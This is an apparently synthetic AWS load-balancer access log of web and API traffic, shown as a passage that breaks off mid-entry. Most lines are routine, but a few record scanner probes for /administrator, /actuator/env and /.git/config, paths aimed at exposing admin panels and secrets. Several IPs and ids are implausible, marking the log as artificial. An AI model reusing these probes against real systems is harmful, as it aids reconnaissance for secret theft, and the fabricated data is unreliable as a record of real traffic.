"Root=1-6723d2b5-1821ade0209a4abe9cbf588b" "staging-alb.example.com" "-" 6 2024-11-01T01:55:49.589040Z "forward" "-" "-" "249.166.155.138:80" "301" "-" "-" +https 2024-11-01T01:55:51.540306Z prod-web-alb 251.109.195.156:32139 10.0.65.177:443 0.026399 0.269543 0.076033 302 302 655 2730 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2b7-37f250e71aa84680977019eb" "prod-web-alb.example.com" "-" 4 2024-11-01T01:55:51.540306Z "forward" "-" "-" "10.0.65.177:443" "302" "-" "-" +http 2024-11-01T01:55:52.044887Z staging-alb 82.165.193.97:18722 0.252.151.159:8080 0.067554 0.680195 0.130150 200 200 250 10382 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2b8-445694c83d9c40d785c39430" "staging-alb.example.com" "-" 3 2024-11-01T01:55:52.044887Z "forward" "-" "-" "0.252.151.159:8080" "200" "-" "-" +https 2024-11-01T01:55:53.180263Z prod-web-alb 1.118.50.205:44030 10.0.187.59:443 0.039053 0.109967 0.095712 404 404 780 2355 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2b9-c690559574964e4ba4abc331" "prod-web-alb.example.com" "-" 0 2024-11-01T01:55:53.180263Z "forward" "-" "-" "10.0.187.59:443" "404" "-" "-" +http 2024-11-01T01:55:54.850936Z staging-alb 178.197.194.129:13991 124.214.162.144:443 0.089043 0.301764 0.011864 200 200 208 12520 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2ba-2df5d9d484084fb8af303351" "-" "-" 9 2024-11-01T01:55:54.850936Z "forward" "-" "-" "124.214.162.144:443" "200" "-" "-" +https 2024-11-01T01:55:54.960929Z prod-api-alb 73.172.8.223:11083 10.0.192.61:443 0.055309 0.125895 0.034966 200 200 68 5414 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2ba-ba50eb04446242be87c69a55" "prod-api-alb.example.com" "-" 10 2024-11-01T01:55:54.960929Z "forward" "-" "-" "10.0.192.61:443" "200" "-" "-" +https 2024-11-01T01:55:56.121855Z staging-alb 230.52.110.58:38856 250.112.74.188:8080 0.012865 0.363307 0.055344 200 200 701 4121 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2bc-5ef9222ad30c474eb6458bb1" "staging-alb.example.com" "-" 7 2024-11-01T01:55:56.121855Z "forward" "-" "-" "250.112.74.188:8080" "200" "-" "-" +https 2024-11-01T01:55:57.103884Z prod-web-alb 115.20.92.244:21778 10.0.173.251:443 0.001256 0.161382 0.092631 200 200 308 12407 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2bd-4da68202de4f45ad92b90c57" "prod-web-alb.example.com" "-" 7 2024-11-01T01:55:57.103884Z "forward" "-" "-" "10.0.173.251:443" "200" "-" "-" +https 2024-11-01T01:55:57.520162Z staging-alb 67.251.63.159:10724 206.164.253.112:80 0.112643 0.110398 0.124177 200 200 393 7031 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2bd-d6e11ad11b784c9ea3f8b11f" "staging-alb.example.com" "-" 3 2024-11-01T01:55:57.520162Z "forward" "-" "-" "206.164.253.112:80" "200" "-" "-" +https 2024-11-01T01:55:59.019382Z staging-alb 121.8.202.19:39164 110.190.229.129:80 0.114549 0.613452 0.086445 200 200 19 9568 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2bf-87d2d227c7cf41dd9dbf4823" "staging-alb.example.com" "-" 1 2024-11-01T01:55:59.019382Z "forward" "-" "-" "110.190.229.129:80" "200" "-" "-" +https 2024-11-01T01:55:59.130998Z prod-api-alb 236.7.163.142:20513 10.0.91.175:443 0.064109 0.264993 0.038293 200 200 743 1629 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2bf-983e963a2d7f4b2cb8adfab1" "prod-api-alb.example.com" "-" 4 2024-11-01T01:55:59.130998Z "forward" "-" "-" "10.0.91.175:443" "200" "-" "-" +https 2024-11-01T01:56:00.148379Z prod-web-alb 128.86.186.163:54987 10.0.196.58:443 0.092236 0.200743 0.064133 200 200 842 11447 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2c0-a9e2ffa7bc7a47cca77dd8a9" "prod-web-alb.example.com" "-" 10 2024-11-01T01:56:00.148379Z "forward" "-" "-" "10.0.196.58:443" "200" "-" "-" +https 2024-11-01T01:56:01.028434Z prod-api-alb 78.20.106.118:25688 10.0.138.157:443 0.000426 0.343626 0.000300 200 200 586 701 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2c1-ac3d6e5b639340f7989868bb" "prod-api-alb.example.com" "-" 9 2024-11-01T01:56:01.028434Z "forward" "-" "-" "10.0.138.157:443" "200" "-" "-" +https 2024-11-01T01:56:02.697353Z prod-web-alb 35.126.20.61:46132 10.0.56.184:443 0.031932 0.101577 0.006059 200 200 66 4855 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2c2-dc86f9e334d54cd9bc55c0f6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:56:02.697353Z "forward" "-" "-" "10.0.56.184:443" "200" "-" "-" +https 2024-11-01T01:56:04.631856Z prod-web-alb 108.63.244.116:48292 10.0.134.56:443 0.037632 0.256917 0.027830 200 200 418 354 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2c4-6da3f12c596d4a7c9a01ac83" "prod-web-alb.example.com" "-" 3 2024-11-01T01:56:04.631856Z "forward" "-" "-" "10.0.134.56:443" "200" "-" "-" +https 2024-11-01T01:56:05.161039Z staging-alb 51.136.33.215:62501 191.241.72.118:443 0.135164 0.189372 0.130697 200 200 557 3072 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2c5-a4af30e678bd41cfa2198f08" "staging-alb.example.com" "-" 4 2024-11-01T01:56:05.161039Z "forward" "-" "-" "191.241.72.118:443" "200" "-" "-" +https 2024-11-01T01:56:05.598207Z staging-alb 212.109.109.101:26132 17.41.1.61:443 0.079819 0.042977 0.122300 200 200 778 7282 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2c5-9f6ec8cfc70d48118c97c437" "staging-alb.example.com" "-" 1 2024-11-01T01:56:05.598207Z "forward" "-" "-" "17.41.1.61:443" "200" "-" "-" +https 2024-11-01T01:56:05.701514Z prod-web-alb 63.135.102.212:61015 10.0.40.161:443 0.096272 0.207115 0.085560 200 200 195 13695 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2c5-9d86afde7e6f4f88ae0eaff1" "prod-web-alb.example.com" "-" 9 2024-11-01T01:56:05.701514Z "forward" "-" "-" "10.0.40.161:443" "200" "-" "-" +https 2024-11-01T01:56:06.035824Z prod-web-alb 45.155.205.189:20170 10.0.143.117:443 0.061479 0.234652 0.058957 302 302 622 13472 "GET /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2c6-8d5f8eb7af734815ab277a4e" "-" "-" 9 2024-11-01T01:56:06.035824Z "forward" "-" "-" "10.0.143.117:443" "302" "-" "-" +https 2024-11-01T01:56:07.392800Z staging-alb 63.28.148.152:23545 232.236.150.166:443 0.022309 0.370961 0.029654 404 404 11 9187 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2c7-9acc56d3a6e04fef8af5bded" "staging-alb.example.com" "-" 7 2024-11-01T01:56:07.392800Z "forward" "-" "-" "232.236.150.166:443" "404" "-" "-" +https 2024-11-01T01:56:09.291404Z staging-alb 59.31.187.77:53347 92.198.206.141:8080 0.032426 0.451129 0.121702 200 200 53 5482 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2c9-0b2ca392e06e4aadbd4df2bc" "staging-alb.example.com" "-" 4 2024-11-01T01:56:09.291404Z "forward" "-" "-" "92.198.206.141:8080" "200" "-" "-" +https 2024-11-01T01:56:10.211854Z prod-web-alb 199.136.119.4:62893 10.0.95.11:443 0.090249 0.225864 0.052497 301 301 885 5193 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ca-400aa9bcdc2242f28b4643ff" "prod-web-alb.example.com" "-" 6 2024-11-01T01:56:10.211854Z "forward" "-" "-" "10.0.95.11:443" "301" "-" "-" +https 2024-11-01T01:56:10.498809Z prod-web-alb 110.97.143.113:52520 10.0.44.194:443 0.063675 0.457897 0.055794 301 301 440 5847 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ca-bca28ba21c974f0c8edd5a5f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:56:10.498809Z "forward" "-" "-" "10.0.44.194:443" "301" "-" "-" +https 2024-11-01T01:56:12.387097Z prod-api-alb 216.185.136.183:18292 10.0.161.234:443 0.073684 0.087992 0.074782 302 302 946 14527 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2cc-77304f22add64bc5937eb4f1" "prod-api-alb.example.com" "-" 6 2024-11-01T01:56:12.387097Z "forward" "-" "-" "10.0.161.234:443" "302" "-" "-" +https 2024-11-01T01:56:14.116151Z prod-web-alb 10.201.90.74:35863 10.0.108.238:443 0.055438 0.461483 0.081622 200 200 515 2268 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ce-9dfcb27fbfda4c769d2e9f42" "prod-web-alb.example.com" "-" 1 2024-11-01T01:56:14.116151Z "forward" "-" "-" "10.0.108.238:443" "200" "-" "-" +https 2024-11-01T01:56:15.102051Z prod-web-alb 127.194.192.162:44554 10.0.158.214:443 0.021927 0.257457 0.026548 200 200 535 4194 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2cf-81edfa35ea2c4dd78973a2d0" "-" "-" 10 2024-11-01T01:56:15.102051Z "forward" "-" "-" "10.0.158.214:443" "200" "-" "-" +https 2024-11-01T01:56:15.462462Z staging-alb 185.181.125.99:39864 216.160.18.81:8080 0.135474 0.515110 0.023985 500 500 192 6287 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2cf-a5a0e9f26f5a484e9c327f86" "-" "-" 1 2024-11-01T01:56:15.462462Z "forward" "-" "-" "216.160.18.81:8080" "500" "-" "-" +http 2024-11-01T01:56:16.387926Z staging-alb 53.147.101.247:54872 242.249.89.211:80 0.097925 0.688946 0.044437 404 404 92 5196 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2d0-81390088f554476288a779a6" "staging-alb.example.com" "-" 0 2024-11-01T01:56:16.387926Z "forward" "-" "-" "242.249.89.211:80" "404" "-" "-" +https 2024-11-01T01:56:18.050371Z staging-alb 129.194.149.2:24512 237.140.157.254:8080 0.128190 0.160054 0.085750 200 200 461 4686 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2d2-865b5004e14744a183d61d2f" "staging-alb.example.com" "-" 5 2024-11-01T01:56:18.050371Z "forward" "-" "-" "237.140.157.254:8080" "200" "-" "-" +http 2024-11-01T01:56:18.474751Z staging-alb 60.166.58.12:47753 41.200.86.98:8080 0.126007 0.280845 0.029525 404 404 185 11436 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2d2-b78c46507c614738acedbce4" "-" "-" 4 2024-11-01T01:56:18.474751Z "forward" "-" "-" "41.200.86.98:8080" "404" "-" "-" +https 2024-11-01T01:56:18.709685Z prod-api-alb 100.55.53.178:64557 10.0.103.186:443 0.051255 0.188717 0.025590 200 200 22 4308 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2d2-777ad2d4f62d498db3e94c65" "prod-api-alb.example.com" "-" 0 2024-11-01T01:56:18.709685Z "forward" "-" "-" "10.0.103.186:443" "200" "-" "-" +https 2024-11-01T01:56:19.612931Z prod-api-alb 107.117.115.105:51579 10.0.216.182:443 0.033252 0.159422 0.090141 302 302 207 1808 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2d3-0c31d134ff3a4301ab8fd313" "prod-api-alb.example.com" "-" 2 2024-11-01T01:56:19.612931Z "forward" "-" "-" "10.0.216.182:443" "302" "-" "-" +https 2024-11-01T01:56:20.876196Z prod-web-alb 42.242.239.106:60165 10.0.200.193:443 0.062673 0.363078 0.099250 301 301 141 6822 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2d4-3fbf58fa66d341d7ab40808c" "prod-web-alb.example.com" "-" 0 2024-11-01T01:56:20.876196Z "forward" "-" "-" "10.0.200.193:443" "301" "-" "-" +https 2024-11-01T01:56:22.504570Z prod-api-alb 231.149.54.168:34507 10.0.24.115:443 0.025799 0.152408 0.090156 301 301 32 3603 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2d6-52ccaa51025a431f9ccae7c7" "prod-api-alb.example.com" "-" 6 2024-11-01T01:56:22.504570Z "forward" "-" "-" "10.0.24.115:443" "301" "-" "-" +https 2024-11-01T01:56:24.501425Z prod-web-alb 195.55.238.88:18172 10.0.119.211:443 0.050952 0.213526 0.042716 200 200 838 3096 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2d8-a3d9199207434d73988fa822" "prod-web-alb.example.com" "-" 8 2024-11-01T01:56:24.501425Z "forward" "-" "-" "10.0.119.211:443" "200" "-" "-" +https 2024-11-01T01:56:26.397694Z prod-web-alb 26.156.46.204:12180 10.0.133.75:443 0.099807 0.091396 0.058375 404 404 252 9612 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2da-1d9d4ba9c7a3442c9e86eedb" "prod-web-alb.example.com" "-" 5 2024-11-01T01:56:26.397694Z "forward" "-" "-" "10.0.133.75:443" "404" "-" "-" +https 2024-11-01T01:56:28.045145Z prod-api-alb 193.27.228.161:57104 10.0.251.61:443 0.065650 0.133089 0.045102 403 403 73 12068 "POST /.git/config HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2dc-ad0c296d53e74237a67c751b" "-" "-" 9 2024-11-01T01:56:28.045145Z "forward" "-" "-" "10.0.251.61:443" "403" "-" "-" +https 2024-11-01T01:56:29.766434Z prod-web-alb 188.178.4.68:10711 10.0.175.86:443 0.022539 0.326423 0.016871 404 404 929 14768 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2dd-77b93befe78a4100a18087ec" "prod-web-alb.example.com" "-" 1 2024-11-01T01:56:29.766434Z "forward" "-" "-" "10.0.175.86:443" "404" "-" "-" +https 2024-11-01T01:56:30.558809Z prod-api-alb 136.233.140.40:41203 10.0.45.68:443 0.075704 0.461672 0.041818 200 200 201 4133 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2de-a640d37229f541e18918e949" "prod-api-alb.example.com" "-" 10 2024-11-01T01:56:30.558809Z "forward" "-" "-" "10.0.45.68:443" "200" "-" "-" +https 2024-11-01T01:56:32.025363Z prod-web-alb 250.83.62.134:20096 10.0.79.195:443 0.059862 0.153950 0.010513 200 200 462 9012 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2e0-4ae9ec252d9140da960f3e0b" "prod-web-alb.example.com" "-" 10 2024-11-01T01:56:32.025363Z "forward" "-" "-" "10.0.79.195:443" "200" "-" "-" +https 2024-11-01T01:56:32.597250Z prod-web-alb 202.58.108.205:57479 10.0.222.74:443 0.082041 0.123952 0.040697 301 301 959 13160 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2e0-f4915a922bd648278c8c6c17" "prod-web-alb.example.com" "-" 10 2024-11-01T01:56:32.597250Z "forward" "-" "-" "10.0.222.74:443" "301" "-" "-" +https 2024-11-01T01:56:34.502981Z prod-web-alb 203.29.189.179:30006 10.0.209.76:443 0.002596 0.370762 0.030682 200 200 599 10413 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2e2-3b661a376cc747ddade71bec" "prod-web-alb.example.com" "-" 1 2024-11-01T01:56:34.502981Z "forward" "-" "-" "10.0.209.76:443" "200" "-" "-" +https 2024-11-01T01:56:36.427608Z prod-api-alb 27.167.147.46:15122 10.0.102.70:443 0.048221 0.423750 0.079213 200 200 252 5259 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e4-cffff870a31b4c20a0c17900" "prod-api-alb.example.com" "-" 9 2024-11-01T01:56:36.427608Z "forward" "-" "-" "10.0.102.70:443" "200" "-" "-" +https 2024-11-01T01:56:37.237817Z prod-api-alb 108.223.129.56:40900 10.0.8.63:443 0.020229 0.053604 0.072938 302 302 549 13258 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e5-0eb3b0c5341b4f9295e0f434" "prod-api-alb.example.com" "-" 9 2024-11-01T01:56:37.237817Z "forward" "-" "-" "10.0.8.63:443" "302" "-" "-" +https 2024-11-01T01:56:37.969568Z prod-api-alb 45.2.252.30:31967 10.0.130.7:443 0.061870 0.010251 0.031606 301 301 767 12233 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e5-743896e6ac5444bb8645182f" "prod-api-alb.example.com" "-" 0 2024-11-01T01:56:37.969568Z "forward" "-" "-" "10.0.130.7:443" "301" "-" "-" +https 2024-11-01T01:56:38.099768Z prod-api-alb 221.224.231.90:22744 10.0.169.19:443 0.074928 0.238647 0.047727 200 200 613 358 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2e6-44b4f81220f94a92b18a0537" "prod-api-alb.example.com" "-" 8 2024-11-01T01:56:38.099768Z "forward" "-" "-" "10.0.169.19:443" "200" "-" "-" +https 2024-11-01T01:56:39.398052Z prod-api-alb 144.177.234.76:36414 10.0.168.38:443 0.096952 0.130682 0.028210 200 200 297 2124 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e7-11c40ae62b7e4dc589108318" "prod-api-alb.example.com" "-" 7 2024-11-01T01:56:39.398052Z "forward" "-" "-" "10.0.168.38:443" "200" "-" "-" +https 2024-11-01T01:56:39.903595Z prod-web-alb 64.124.139.48:55090 10.0.101.232:443 0.063710 0.201407 0.053583 200 200 224 1770 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 